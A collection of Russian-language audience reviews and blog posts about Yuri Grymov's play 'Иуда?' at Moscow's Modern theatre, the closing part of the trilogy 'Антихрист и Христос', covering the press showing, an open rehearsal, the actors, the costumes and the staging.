Я не стану раскрывать главные секреты и ходы сюжета. Скажу только, что эта версия того, что же на самом деле случилось с Иудой, весьма смелая. И не лишена стройной логики.
Но главная ценность в том, что спектакль побуждает думать. Спорить, размышлять, искать свои варианты и точки опоры.
Сходите

26 октября я посетила пресс-конференцию к заключительному спектаклю трилогии Ю.В. Грымова «Антихрист - Христос».
Думаю, вы поняли, что речь идёт о постановке «Иуда», премьерные показы которой уже идут в театре «Модерн». Напомню, что будущие показы в афише театра намечены на 8, 15 и 24 ноября.
Спешите видеть необычный тактический ход режиссёра, который он применил в спектакле. Юрий Вячеславович сказал, что Юрий Грымов, нам необходим диалог со зрителем. Важно общение, а не пересказ увиденного.
Поэтому тут будет моё мнение, может быть консервативное, может быть прагматичное, но однозначно честное.
Я скажу Вам, что Юрий Вячеславович умнейший человек, всегда говорит правильные вещи, слушать и видеть то, что он делает для меня крайне важно, скажу больше - необходимо.
Мы говорили и о ситуации в стране, о том, что происходит сейчас в мире, почему некоторые сцены стали смотреться совершенно иначе после некоторых событий, почему обществу потребления пришел конец.
Вообще мне приятна идея диалога со зрителем. Очень важно говорить о том, что нет правильных и неправильных ответов, есть факты и мнения.
Мы в диалоге, мы в праве всё взвесить и обсудить.
Обществу потребления пришёл конец.
Мы насытились, наелись пропагандой.
Видит Бог, мы ещё живы, не потеряли морали и можем мыслить.
На нас не приклеить чужое клеше.
Важно, чтобы артисты не были ряжеными.
Современный Модерн - это диалог театра и зрителя.
Пришло время умного общества.
Не существует неправильных вопросов, важно задать правильный вопрос и на него ответить. А ещё верное и мудрое решение говорить людям добрые слова - это вообще постулат на всю жизнь.
Работа с людьми - самое неблагодарное поприще.
Каждый шаг, каждая сцена спектакля - это ходьба по тонкому льду: эта грань либо всеобщего ликования, либо полнейшего изгнания.
Поэтому для меня вопросы, которые были подняты на пресс- показе отразили вектор развития театра и эффективную работу в обществе.
Как сказал Юрий Вячеславович ни к чему заниматься пересказами спектакля на несколько страниц. Важно отразить своё мнение.
Мне хочется добавить лишь то, что в конце пресс-конференции Юрий Вячеславович предупредил всех, что возможно мы изменим мнение о том, что происходило в те далёкие годы.
В «Иуде» для нас на сцене разыграется настоящий детектив, в котором каждый из нас может примерить на себя историческую роль и посмотреть на события сквозь призму современности.
Какие будут выводы решать каждому для себя, но ясно одно, что с одной стороны они шокирующие, а с другой - абсолютно логичны.
Посыл Грымова - заставить зрителя думать, а не созидать очевиден.
Отдельный Респект 👍 за музыкальное сопровождение, снова струны моей души были натянуты до нельзя.
Конечно же хвала небесам за Ирэн Белоусову и ее костюмы.
Они воистину великолепны.
Браво!!!!
Выключаем Zомбоящик и идём в театр 🎭

Иуда?

Самая знаменитая история предательства. Все мы знаем ее цену с детства, 30 серебряных. И идиома поцелуй Иуды тоже заякорилась в сознании как символ коварного предательства. Личное отношение к событиям, происходившим более 2000 лет назад, часто и не возникает. Это притчевый эпизод Евангилия, в котором вопросов больше, чем ответов. Именно это и отражено в названии спектакля и подсказка, о ходе мысли автора.

Спектакль начинается с лекции. Наши дни. Актеры появляются на сцене из зрительного зала в качестве слушателей этой лекции. И каждый «зритель» дополняет картину стереотипного образа Иуды и понимания той ситуации. Дискуссия принимает неожиданный оборот, благодаря модерации лектора (Виталий Пинский), задающего провокационные вопросы «а что если?». . начинается суд над Иудой. И в один момент из современных участников лекции актеры превращаются в персонажей , участников того самого эпизода, финала истории жизни на земле Иисуса. И вот Виталий Пинский уже Исках, беседующий с Понтием Пилатом (Александр Борисов). А мы вдруг оказываемся в пещере, с Иисусом, который с каждым днем набирает все больше приверженцев и народную любовь. Все сцены происходят в ночи, учитывая климат и тайность большинства встреч и разговоров. Диалоги и монологи философски проводят нас по, какзалось бы, знакомому сюжету, но финал удивит. И это другой взгляд. в который верят создатели, консульирующиеся с богословами и работающие с документами Юрий Грымов и Александр Шишов. И вопрос в названии спектакля, находит свой ответ по окончании...или уходит со зрителями дальше.

Потрясающие костюмы. Стильные и красивые. Невероятная музыка, которая благодаря шазаму перебралась в мой плейлист. Спецэффекты с водой из кувшина на сцене, где происходит чудо и вода появляется в пустом кувшине снова и снова.. И при таких ингредиентах, мне было сложно сидеть больше 2 часов без антракта. Само действо медитативное в синхроне с музыкой, медленное и тягучее, разговоры неспешные, тихие и монотонные. И кажется, что все живут и двигаются в одном темпо-ритме и чем-то очень друг на друга похожи. Не смогла я понять характеры, мотивы и что-то новое про героев того самого сюжета. Не факт, что этого не было. Я не смогла. Но может и одного нового смысла достаточно. Он достаточно революционный.
Спектакль "Иуда?", завершающий трилогию "Антихрист и Христос". И по словам Юрия Вячеславовича очередность знакомства с работами имела значение.. у меня, видимо, будет путь по кругу. Я не видела Леонардо, и ПетрI. Придется пойти в обратную сторону и вернуться.

Иногда задать вопрос бывает гораздо важнее, чем получить ответ.
Главный режиссер театра "Модерн" Юрий Грымов завершает свою сценическую трилогию "Антихрист и Христос", первыми двумя спектаклями которой стали "Петр I" и "Леонардо". Ее третья часть "Иуда?" в отличие от двух предыдущих, где использовалась проза Мережковского и Толстого, была целиком написана драматургом Александром Шишовым. Идея провести зрителей по тернистой дороге от тьмы к свету, что следует из названия трилогии, через становление значимых исторических личностей к самой сущности света - Воскресению Христа, как раз воплотилась в заключительном спектакле.
О самом спектакле говорить необычайно сложно. Как и две первые части, он создан совсем не для развлечения, хотя зрелищность его при этом восхищает! Но постоянные зрители театра "Модерн", к которым я с радостью себя отношу, уже знают, зачем они сюда приходят. Уж никак не за антрепризными прыжками и ужимками, хотя комедии в театре тоже прекрасные. "Иуда?" - спектакль-исследование, или даже, скорее расследование. Выводы, к которым приходят в финале его создатели, поистине ошеломляют. Ты выходишь из зала с перевернутым сознанием, определенно с желанием пойти посмотреть его еще раз повнимательнее и даже, вслед за авторами, угл******* в исторические источники. Иногда во время спектакля меня захлестывала зрелищность происходящего, и я немного отвлекалась от главного. И немудрено, мое эстетическое чувство ликовало и от роскоши костюмов и от мрачной красоты сценографии. Неизменный талантливейший художник "Модерна" Ирэна Белоусова создала из костюмов спектакля визуальный шедевр. У меня периодически возникали живописные видения, напоминающие многочисленные работы гениев Возрождения на религиозные темы с их теплыми тонами в одежде и затемненным фоном, а изысканные орнаменты узбекских икатов вдруг оказались очень подходящими для обитателей древнего Иерусалима. Богдан Щукин настолько канонически выглядит в образе Христа, что при его появлении бегут мурашки.
Александр Борисов - величественный и могущественный вершитель судеб Прокуратор Иудеи Понтий Пилат, восседающий на своем огромном коне, как древнеримская статуя, движимая по сцене чернокожим рабом (Диллон Олойеде).
Прекрасны своей насыщенностью сверкающие одежды первосвященника Каиафы(Алексей Багдасаров) и царя Ирода (Константин Конушкин) и, уж простите за модный термин, "бохо-шик" Марии Магдалины(Марианна Канивец).
И вообще работа художника по костюму просто титаническая, в спектакле задействована практически вся труппа театра, заполняя в финале сцену одной огромной пестрой толпой.
Великолепный Вадим Пинский, он же Исхак - собирательный образ той движущей силы, которая и заставила, по версии создателей спектакля, знакомые всем события предстать именно в том виде, который мы знаем на протяжении тысчелетия.
Что же касается главного вопроса спектакля о виновности Иуды(Лев Смирнов), с этим дело обстоит очень непросто. В самом начале действия на сцене идет своеобразная дискуссия, инициатор которой, некий профессор(все тот же Вадим Пинский) предлагает обстоятельно восстановить ход событий и таким путем выяснить, в самом ли деле Иуда виноват в предательстве и смерти Христа, или его попросту подставили? Ведь, по его словам, все доказательства косвенные, а Иуда, как известно, "мемуаров не оставил". И возникшая следом за этим заявлением острая дискуссия и последующая реконструкция событий, предшествующих смерти Христа, призвана начать со зрителем сложный и глубокий разговор о природе предательства, силы власти и страхе ее потерять, об истинной преданности и жертвенности, о предопределенности, о самых высоких и самых низменных человеческих проявлениях и истинной божественной сущности. Есть в спектакле несколько моментов, когда на наших глазах происходят самые настоящие библейские чудеса. Очень не хочется раскрывать секреты, но если описывать общие ощущения, то они невероятные и довольно противоречивые. Надеюсь, именно такой реакции ожидали создатели спектакля, приглашая зрителей увидеть "как все было на самом деле". И еще, напоследок, совсем немного про эффектную сценографию. Ею Юрий Грымов занимался сам, и его декорации, как всегда, очень символичны. Упомяну лишь об одном символе, если я его правильно поняла: Чем дальше продвигается действие, тем больше на сцене становится огромных камней. Вероятно до нас хотят донести, что пришло время их собирать. Осмыслить увиденное и понять. Призываю к этому каждого, кто увидит спектакль и попытается дать собственный ответ на "?"

В театре Модерн премьера спектакля «Иуда?», который завершает трилогию «Антихрист и Христос».
Юрий Грымов поставил эту трилогию как размышление над природой человека на примере известных исторических личностей. Чего в нас больше: света или тьмы, добра или зла?
Первая часть трилогии - это спектакль «Петр», я смотрела его больше года назад, но до сих пор помню это мрачное ощущение от *********** Петром устоев.
Вторая часть трилогии «Леонардо». Знакомство с ней произошло ровно год назад, но кажется, что смотрела спектакль вчера. Леонардо здесь как на весах между светом и тьмой.
И никак я не могла понять - почему же следующим спектаклем, который по логике должен показать нам свет, будет «Иуда»? В названии спектакля, кстати, тоже стоит вопрос.
Может быть свет, который окружал Христа, не иссякает никогда и распространяется на всех, кто находится рядом? И Иуда не предатель, а друг, не обманщик, а обманутый? На эти вопросы в спектакле попытались ответить современные профессора, устроив судебный процесс над Иудой. Очень необычное решение для альтернативного истолкования Евангелие. И удивительное ощущение света в конце спектакля, несмотря на всем нам известный трагичный сюжет.
Обязательно посмотрите всю трилогию от начала до конца, возможно, вы сделаете другие выводы, но точно получите много информации к размышлению.
А я в очередной раз поймала себя на мысли, что артисты театра Модерн могут с легкостью перевоплощаться от спектакля к спектаклю в совершенно разных героев. Смотришь «Иуду» и понимаешь, что Богдан Щукин очень похож на Христа, а в спектакле «Нирвана» он также правдоподобно играет Курта Кобейна. Огромное спасибо всем причастным к этой работе.

С огромным удовольствием и интересом посмотрела спектакль "Иуда", в котром режиссёр Юрий Грымов исследует историю самого знаменитого в мировой истории предательства. Взгляд режиссёра на нее может показаться спорным, даже шокирующим, но в любом случае очень интересен. После спектакля будет много поводов порассуждать. А заставить зрителя думать, наверное, самая важная цель искусства. "Иуда" с этой целью справляется блестяще.

В спектакле собран прекрасный актерский состав. Особенно хочу отметить актёрские работы Валима Пинского, Александра Борисова, Льва Смирнова, Богдана Шукина и Льва Смирнова.

Огромного уважения заслуживает отношение Юрия Грымова к подбору музыки, работе со светом, а также отношению к деталям, которые делают эту историю для современного зрителя абсолютно живой.

Отельно отмечу роскошные костюмы, которые создала для спектакля Ирэн Белоусова.

В итоге получился очень сильный спектакль, который стал великолепным завершением трилогии Юрия Грымова «Антихрист и Христос» («Петр», «Леонардо», «Иуда»­).

Я очень люблю спектакли Юрия Грымова по двум причинам. Во-первых, они всегда отлично поставлены и очень красивы, прямо-таки отрада для глаз. Во-вторых, они непременно дают пищу для размышления. То есть, ты не только в театр сходил на других посмотреть и себя показать, новое платье продемонстрировать, в буфете хороший кофе попить, да развлечься. Нет, после спектакля ты еще долго будешь думать, прикидывая на себя судьбы героев, читать книгу, по которой спектакль поставлен.
Юрий Вячеславович в конечном спектакле трилогии (кстати, режиссер советует смотреть "Иуду" именно после двух первых частей) не просто рассказал о последних днях Христа, но попытался разобраться в том, что же произошло почти две тысячи лет назад. Кто виноват и кто прав? Кто желал смерти Иисусу и кто хотел его спасти? И вообще кем он был? Плотником? Богом? Пророком? Царем? Спасителем?

Вот теперь вы, наверное, подумали, что спектакль будет интересен исключительно верующим людям. Отнюдь! Ибо все мы выросли на христианской морали, мы впитали ее с детства, невзирая на то, веруем мы или нет. Тем более, что спектакль запредельно красив. Он напоминает одновременно и ожившее полотно Иванова, и восточные картины Энгра.

Главные роли в постановке исполняют ведущие актеры театра. Но, если вы думаете, что Христа и Иуду играют важные и заслуженные, то... нет. Их играют молодые, у которых кровь играет и глаза горят. Богдан Щукин в роли Иисуса и Лев Смирнов в роли Иуды. Поначалу кажется, что это самые обычные наши современники: мешковатая одежда (модный нынче оверсайз), спортивная обувь. Ведь постановка начинается с того, что на открытой лекции лектор и слушатели решают разобраться, предал ли Иуда Христа. И вот два парня, самых обычных, становятся героями святой истории. Но став легендой, они не перестают быть людьми.

Старую гвардию тоже можно увидеть на сцене. В первую очередь обратите внимание на Понтия Пилата, царственного Александра Борисова. Его дуэт с Алексеем Багдасаровым (первосвященником Каияфой) великолепен. Исхак (Вадим Пинский) выглядит мелким прохиндеем. Но как много, оказывается, зависит от этого серого кардинала!

Несказанно хороши костюмы Ирэн Белоусовой. Это парча и бархат, драгоценные камни и золото. Да, именно так они выглядят, когда смотришь из зала на сцену. Художник по костюмам поражает зрителей истинно восточной роскошью и яркостью красок.

Иногда создается впечатление, что декораций на сцене нет вовсе. Но вот появляются стулья и кафедра, вот ставятся лотки торговцев, вот вырастают горы. Мы увидели и зал лектория, и холмы Иерусалима. И даже вода была настоящей. Кстати, идея и кувшином, вода в котором не кончается, меня просто поразила. Равно как и конь Понтия Пилата.

Надо признаться, заключительный аккорд был ошеломляющим. Для меня, по крайней мере. И, хотя мне ближе "Леонардо", вся трилогия прекрасна.

Полюбила этот театр, только зайдя в него)))
26 октября была на пресс-показе спектакля «Иуда» - третья часть трилогии Ю. Грымова «Антихрист и Христос». Автор пьесы А. Шилов
Работа над этим спектаклем шла очень долго и это очень важное событие для театра и режиссёра. В спектакле была задействована вся труппа театра.
⠀
Предательство - порок, который губит любые отношения и порой людей, как случилось с Иисусом.

Начало спектакля - это «исторический» суд над Иудой. Тако Меня это очень удивило. Такой необычный приём в режиссуре (я ещё не припомню) открытое судебное заседание на сцене театра, со свидетелями и присяжными, в качестве которых выступили зрители.
⠀
Режиссёр поднял, как мне кажется самый актуальный вопрос во все времена: Может ли в одном человеке заложено и добро, и зло? И главное, может ли он при выборе между плохим и хорошим поступком осознавать худшее и лучшее от этого поступка?
⠀
На суде пытались разбирать причинно-следственные связи, мотивы Иуды, заслушивали показания. Было ли предательство или это очередная специальная выдумка для людей?
Думаю, что это очень ответственно, когда ты берёшься за постановку по Библейской истории, даже опасно. Есть риск переступить грань. Но в данном случае этого не произошло. Ю. Грымов с особой тщательностью разбирает исторические материалы и с творческой педантичностью выстраивает не искривлённый сюжет.
⠀
Примечательные для меня режиссерские ходы, которые на мой взгляд и отличают его: всё тот же полумрак, иногда разбавляющийся светом сверху, костюмы, объёмные декорации, благодаря которым, зрители смогли окунуться в ту местность и прочувствовать колорит, где и произошло главное преступление Иерусалима! Музыка (в данном случае барабаны, восточные мотивы), как элемент, указывающий на самые острые моменты в сценах с тайным подтекстом.
⠀
Этому Библейскому сюжету уже более 2000 лет, возможно именно он определил духовную и нравственную стороны жизни человека. В спектакле, как в иллюстрации режиссёр дал пищу для рассуждения о том, что же случилось тогда и как мы можем это представить сейчас. Что может быть тяжелее, чем нести крест? Ответить мог бы Иисус, но спросить мы уже не можем.
⠀
Прекрасный актёрский состав, воплотил задумку режиссёра на все. Особо отмечу игру отрицательного персонажа Понтий Пилата (А.Борисов). Поразительно, но именно таким я себе его и представляла: плотный от власти, суровый и непреклонный взгляд, монументально возвышающийся на лошади. «Внеземного» Иисуса (Б.Щукин). В некоторых сценах, в лучах света казалось, что это действительно он, сошедший с икон и ты, находишься совсем близко, чувствуя какое-то тепло (даже мурашки по коже).
⠀
Каждая постановка в Модерне - это какая-то магическая паутина, в которую ты попадаешь и уже не в силах освободиться. Всё-таки есть особая органика в постановках Грымова, и никуда её не спрятать. Она берёт тебя за горло, проникая в глубь самых лёгких. И ты замираешь в картинке исторически новых фактов.
⠀
В конце спектакля, я смотрела на Иисуса на сцене, и думала, а что если бы он сейчас был здесь, стоял перед нами? Чтобы мы почувствовали? Чтобы мы захотели исправить и о чём спросить?
⠀
Я бы посмотрела его ещё раз, а то и два👍 Всем рекомендую сходить на этот спектакль!
⠀
По-моему, именно сегодня так важно говорить о добре и зле, пытаться искать ответы, обращаясь к истокам истории и, уж точно искать их в себе! И, конечно прощать.

28 и 29 октября в театре Модерн состоится премьера третьей части трилогии "Антихрист и Христос" - "Иуда?". А мне удалось попасть на пресс-показ и увидеть спектакль раньше всех! Теперь главная задача - не раскрыть тем, кому только предстоит увидеть "Иуда?", о чем спектакль...
Спектакль, как и практически все в этом театре, красив необыкновенно. Костюмы Ирэны Белоусовой, свет (Юрий Грымов и Мария Артеменко), сценография Юрия Грымова - ну все как обычно в этом театре на высоте. Обходясь без громоздких декораций, будучи весьма ограниченным в возможностях (здание-то историческое, не предназначенное изначально для театра!) каждый раз Грымову удается создать нужную атмосферу, и этот спектакль не исключение.
И совершенно точно - "Иуда?" вас удивит, причем с первой же сцены ) Просто поверьте. Ну и основная идея, трактовка древней истории сто процентов вызовет интерес. И острое желание обсуждать, разбираться и читать-читать-читать. Думаю, равнодушных зрителей не будет - ну просто невозможно.
Как известно, главное - правильно поставить вопрос. А вопросов в спектакле много. Что такое зло и что такое добро? Любовь и милосердие? Вера и прощение?
Ну и собственно про спектакль.
Роль Иисуса исполняет Богдан Щукин. Это настолько точное попадание в образ, что кажется невероятным. У вас есть в сознании какой-то образ Иисуса, наверняка? Вот здесь - 99,9%, что он совпадет с тем, что на сцене :) Ожившая иллюстрация из детской Библии! Это я исключительно про "картинку", конечно. Иисус здесь не символ, но человек, прежде всего...
На заглавную роль Грымов взял совсем молодого актера: роль Иуды исполняет Лев Смирнов, недавний выпускник института театрального искусства. И надо сказать, справился Лев блестяще!
Всех играющих перечислять не буду, иначе отзыв будет бесконечен ) Нельзя не отметить все же Вадима Пинского (Исхак), Дениса Игнатова (Зиновий), Анастасию Скибунову (Лия), Алексея Багдасарова (Каиафа) - я, как и всегда, впрочем, в восторге!
Трилогию "Антихрист и Христос": "Петр", "Леонардо" и "Иуда?" обязательно нужно увидеть, мне кажется. Глубокие, невероятно красивые постановки, заставляющие зрителя думать, задавать вопросы, искать ответы. Выключайте телевизор и приходите в театр Модерн!

"Иуда?" в театре Модерн
В театре Модерн премьера. Юрий Грымов завершил трилогию "Антихрист и Христос" спектаклем "Иуда?". Две предыдущих работы, поставленные по произведениям Мережковского "Петр" и "Леонардо" с неизменным успехом идут в театре. Трилогию предполагалось завершить по Мережковскому же "Юлианом Отступником". И вдруг Иуда, да еще и с вопросительным знаком. Почему так произошло, Юрий Грымов рассказал на пресс-конференции, проведенной для журналистов и блогеров перед генеральной репетицией.
Аргументы Юрий Вячеславович привел такие: имена Петра I и Леонардо у всех на слуху. Мы приходим в театр с собственным багажом, уже имея представление об этих людях. Имя Юлиана Отступника не столь широко известно и придется зрителям растолковывать что это за персонаж, усложнять и затягивать действие. Вот и пришлось Александру Шишову, автору инсценировок первых двух частей трилогии, написать оригинальную пьесу. А почему вопросительный знак... Приходите на спектакль и поймете.
Действие конечно же происходит в Иерусалиме в ночь перед распятием. В замедленных движениях, замедленной речи персонажей абсолютно физически ощущается душная тяжесть этой ночи, не принесшей облегчения после невыносимо жаркого дня. "И ночи не будет там, и не будут иметь нужды ни в светильнике, ни в свете солнечном".
Как всегда, в спектаклях Грымова на сцене минимум декораций. На этот раз это громадные камни, камни на которых стоит древний город, камни, постоянно возникающие в текстах Евангелия. "Подними камень и найдешь меня ...", "кто из вас без греха, первый брось в нее камень", "...сказываю вам, что если они умолкнут, то камни возопиют". Камни народ, камень искушение, камень основание, камень Христос.
Как всегда, в спектаклях Грымова, помимо актеров, есть еще очень важный персонаж - свет. Свет выхватывает главные детали, свет указывает направление пути, свет создает ощущение ночи. Ночи предательства. Ночи самопожертвования. . "Я свет миру; кто последует за Мною, тот не будет ходить во тьме".
В спектакле "Иуда?" задействована вся труппа театра, здесь нет второстепенных ролей. Каждое движение, каждый жест и слово обоснованы - из них выкладывается фундамент спектакля, его смысл и содержание. Ночь темна, но лучом света из толпы выхватываются персонажи, выхватываются детали, значимые в данный момент. "И свет во тьме светит, и тьма не объяла его".
Костюмы Ирэны Белоусовой аутентичны, яркими пятнами во мраке вспыхивают пышные одеяния Каиафы и Пилата, притягивает взор красно-синий плащ Христа, сливается с фоном темный халат Иуды. "Они одели Его в пурпурную мантию и, сплетя венок из терновника, надели на Него".
И музыка, музыка подобранная для спектакля Юрием Грымовым. Звуки, тревожащие душу, звуки, наравне со светом, создающие вязкую тьму ночи предательства. "Имеющий уши - да услышит...".
Спектакль идет без антракта, в его развитии невозможно найти точку для остановки, точку для отдыха. "Пойдите вы одни в пустынное место и отдохните немного".
Повешение Иуды преобразуется в вознесение Христа. Здесь поставлена точка? Нет. Задано движение, развитие, путь разума, путь человека. "Я есмь путь и истина и жизнь". "Ищите, и найдете; стучите и отворят вам".

Впервые побывала в театре Модерн на постановке «Иуда?». Невероятной силы и глубины зрелище. Пронизывало все, от самой первой сцены до последнего занавеса. Потрясающая картина, великолепная идея и ее воплощение! Все погружает вглубь веков, пронизывает до мурашек. После окончания этого спектакля хочется молчать и вдумываться во все увиденное и услышанное. Смотреть эту картину необходимо как минимум дважды. Спасибо всем, кто причастен к сотворению этого Искусства!

«Иуда?», открытая репетиция в Театре «Модерн»

Театр «Модерн» активно использует очень интересный предпремьерный формат: открытую репетицию.
Сначала зрители смотрят часть самой репетиции: со всеми комментариями режиссера Юрия Грымова, отстройкой света, звука и другими техническими деталями.

Я очень хотела посетить именно такую открытую репетицию, потому что была на репетициях и прогонах в непрофессиональных театрах (это все не то), и мне было невероятно интересно посмотреть, как работает с актерами один из моих любимых режиссеров. Кроме того, я очень жду премьеры спектакля «Иуда?», меня история самого известного предательства в мире всегда как-то задевала за живое, и совершенно логично, что именно эта постановка стала финальной в трилогии «Антихрист и Христос» , наряду с вышедшими ранее «Петром I», «Леонардо» и неким прологом «Цветы нам не нужны».

Я никак не могла дождаться премьеры, поэтому была очень рада выпавшей возможности посмотреть кусочек спектакля «досрочно».

Мы посмотрели первые 40 минут (сам спектакль планируется без антракта, ~1.40 мин) - самое начало. Фото- и видеосъемка были запрещены, да и даже по этому фрагменту, как мне кажется, намечается большой СПОЙЛЕР, поэтому в детали сюжета я пока вводить не буду. Скажу только, что для меня, изучившей разные точки зрения на мотивацию Иуды (от множества версий рок-оперы "Иисус Христос - суперзвезда" до повести Л.Андреева), такая версия оказалась полной неожиданностью.

Из увиденных артистов хочется отметить внушительного и уставшего от бремени забот Пилата (А.Борисов), коварного Исхака (В.Пинский, поразивший меня в «Цветы нам не нужны» недавно), отстраненного Иисуса (Б.Щукин) и пронырливого Зиновия (Д.Игнатов).

И, конечно же, большим удовольствием было наблюдать, как Юрий Грымов досконально простраивает каждую сцену вплоть до мельчайших деталей: световой рисунок, звук, движение декораций, каждую интонацию и эмоцию - и каждый артист понимает, ЧТО и ПОЧЕМУ он играет. Это очень круто и интересно.

После репетиции Юрий еще достаточно долго отвечал на вопросы из зала по увиденному фрагменту постановки, рассказал про Клуб друзей «Модерна», который позволяет получать специальные приглашения и скидки, и пригласил на премьеру, которая состоится 28/29 октября и 8/15/24 ноября.

Даже мечтать не могла! Но оно случилось. Прикоснулась к таинству - побывала в театре на открытой репетиции.
Театр Модерн в плане взаимодействия со зрителем вообще "впереди планеты всей", а если не всей, то московской театральной планеты точно! 😄
Это и абонементы, и лекции, и театральный клуб. А ещё открытые репетиции, куда я в этот раз и отправилась. Билеты на такие репетиции можно купить точно так же, как на спектакли. Так что на самом деле ничего сложного или невыполнимого, купил билет и вот ты уже в зале и с восхищением наблюдаешь за рождением будущего шедевра!
Разве могли мы раньше мечтать о подобном? Процесс создания спектакля - всегда был тайной за семью печатями, доступ к которой открыт лишь избранным. И вот возможность примкнуть к этим "избранным" стала доступна и нам! Я в восторге!
Да, мы увидели всего несколько сцен будущего спектакля, но наблюдать за тем, как подбирается нужная интонация, оттачиваются темп и взаимодействие актёров, ставится свет - это потрясающе! И однозначно бесценный опыт.
К тому же это забавно, а местами даже и весело 😁
И от увиденного ещё больше, прямо вот нестерпимо захотелось посмотреть сам спектакль! Сравнить, во что в итоге вылилось то, что происходило во время репетиции. Тем более, что это финальная часть трилогии Юрия Грымова «АНТИХРИСТ И ХРИСТОС», состоящей из трёх спектаклей "ПЕТР", "ЛЕОНАРДО" И "ИУДА?"
Идеей, кстати, послужила трилогия Дмитрия Мережковского «Христос и Антихрист»
Первые два спектакля оставили очень сильное впечатление, было ощущение, что внутри каждого спектакля закодировано что-то очень важное, которое ты своим разумом ещё не осознал, а душа уже считала и радуется.
И в этом кроется ещё одна причина, почему я отправилась на репетицию "ИУДЫ", я просто не могу дождаться премьеры!!!!!!!!! Сил уже нет ждать))))))) Очень, очень хочется!
И то, что пусть одним глазком, но уже удалось увидеть во время репетиции, например, сцену изгнания торгующих из храма, и сцену во время которой произносится всем известное "Кто из вас без греха, первый брось на нее камень", я понимаю, что надо идти!
И смотреть.
До премьеры спектакля «ИУДА?» уже недолго. Она назначена на 28 октября.
А открытые репетиции - это очень интересно! Буду ждать новую возможность побывать.

Несколько дней назад я побывала на открытой репетиции третьей части трилогии «Антихрист и Христос» поставленной гениальным режиссёром Юрий Грымов. Я преклоняюсь пред талантом Юрия Вячеславовича и его гением!

Театр "МОДЕРН" для меня – это всегда праздник, я обожаю этот театр не только за постановки, которыми он знаменит, а и той атмосферой, которая царит в нём самом , его манящий и такой чарующий аромат, его красивые интерьеры, приветливая и всегда радующаяся гостям хозяйка театра… О атмосфере, царящей в Театр "МОДЕРН", я могу рассказывать много, но сейчас хочу рассказать вам о долгожданной премьере третьей части трилогии Антихрист и Христос спектакля «Иуда?» Предшествующие две – «Пётр 1» и «Леонардо» - гениальные постановки, которые я готова пересматривать не один раз. Это спектакли, на которые хочется возвращаться.

Итак, открытая репетиция спектакль «Иуда?» в зале находятся не только представители прессы, а и те, кто обожает наблюдать за рождением шедевра. К слову, прийти на открытую репетицию может каждый, для этого достаточно следить за сайтом Театр "МОДЕРН" и точно не пропустишь интересных событий, в Модерне есть еще и свой круг – участником которого можно стать.

Когда я увидела масштаб рождающегося спектакля, я была поражена и теперь мое предвкушение, и ожидание премьеры на пике. Нам показали небольшой эпизод из всей глобальной картины. Первое, что вызвало во мне трепет и восторг – декорации, свет, звуковое оформление (в звуковом оформлении «Иуда?» около 450 треков), а дальше на сцене появляется актер в образе Христа. И начинается таинство работы режиссера, каждое движение, каждый выход актера, свет, музыка, реплики, порядок выноса реквизита – все это выверенная до идеальности работа большой группы настоящих профессионалов.

Работа над спектаклем и репетиционный процесс начались в августе. Практически все уже готово к рождению нового шедевра Юрия Грымова. Оттачиваются завершающие штрихи, костюмы в пошивочном цеху подгоняются до идеала, декорации и свет бережно выстраиваются и готовятся к премьере. Все готовится к рождению чуда!
Спектакли Юрия Грымова дышат эстетикой! Я в восторге всегда от той красоты, которую можно лицезреть в театре модерн. За всей этой, выверенной до идеала красотой, стоит огромный труд режиссера и всей труппы театра. Ведь каждый спектакль это живой организм и когда в зале находится зритель, нет права на ошибку, даже, если что-то происходит выбивающееся из сценария, актеры играют, не смотря ни на что и даже на перелом лодыжки в нескольких местах, но это уже другая история. Здесь низкий поклон всем тем, кто создает для нас это чудо!

В процессе репетиции актеры оттачивают мизансцены, добавляют своим персонажам нужный темперамент, словно проводники пропускают сквозь себя энергии своих персонажей и вживаются в историю, которую вскоре увидит зритель. А режиссер в момент репетиции руководит всем этим волшебством, словно дирижер оркестром, где каждая скрипка и каждый инструмент не имеет права на ошибку и от каждого зависит общая картина. Театр - это точный и слаженный часовой механизм.

Со слов режиссера, впервые на театральной сцене зрители увидят суд над Иудой. Библейская история обретает абсолютно материальную форму. Яркая сценография и завораживающие режиссерские ходы: на глазах зрителей оживут горы, воды и холмы Иерусалима!
Юрий Грымов : «Вы наверняка заметили, что в каждой новой части трилогии «Антихрист и Христос» мы движемся все дальше в глубь веков. «Иуда» - более 2000 лет назад… Именно там все началось. Там прошла самая жесткая грань между добром и злом. Те события определили духовную и нравственную жизнь человека. В спектакле мы рассуждаем о том, как это было, и пытаемся не только верить, но и взглянуть на то, что случилось тогда, как на абсолютную реальность. Это очень реальная и материальная история. Я считаю, сегодня особенно важно говорить о Христе и антихристе, искать ответы внутри многовековой истории и, главное, – в самих себе!»

Посещая спектакли трилогии «Антихрист и Христос» оказываешься в машине времени, которая переносит зрителей назад в прошлое. На театральном занавесе, перед началом спектакля, отображается символичный отсчет времени и совсем скоро перед нами вновь откроется портал, который перенесет нас назад на более 2000 лет. Именно там все началось. Я в предвкушении премьеры.

Писсуар, дверь, "Мона Лиза", голубой шарф и бокал вина на театральной сцене, - но это, пожалуй, лучшая лекция на тему искусства, которую я когда-либо слышала.

Любимый театр "Модерн" подготовил для своих зрителей особенный подарок. Нет, не только новый экспонат - коллекцию очков и пенсне из частной коллекции, а также очков Юрия Грымова. Теперь в Театре будут проходить лекции, которые будет читать сам художественный руководитель и главный режиссер Театра Юрий Грымов. Мне всегда очень нравилось присутствовать на встречах с ним, ведь Юрий Вячеславович обладает очень широким кругозором, умением интересно доносить свои мысли до слушателей, и даже каждый его ответ на чей-то вопрос звучит как небольшая лекция на отдельную тему, лекция, которой тесно в рамках короткой встречи. При подготовке своих нашумевших спектаклей из трилогии "Антихрист и Христос" Юрий Грымов очень глубоко погрузился в материал, найдя немало интересной и даже неожиданной информации. Естественно, что ему захотелось поделиться ей, а мы, в свою очередь, очень ждали этого дня.

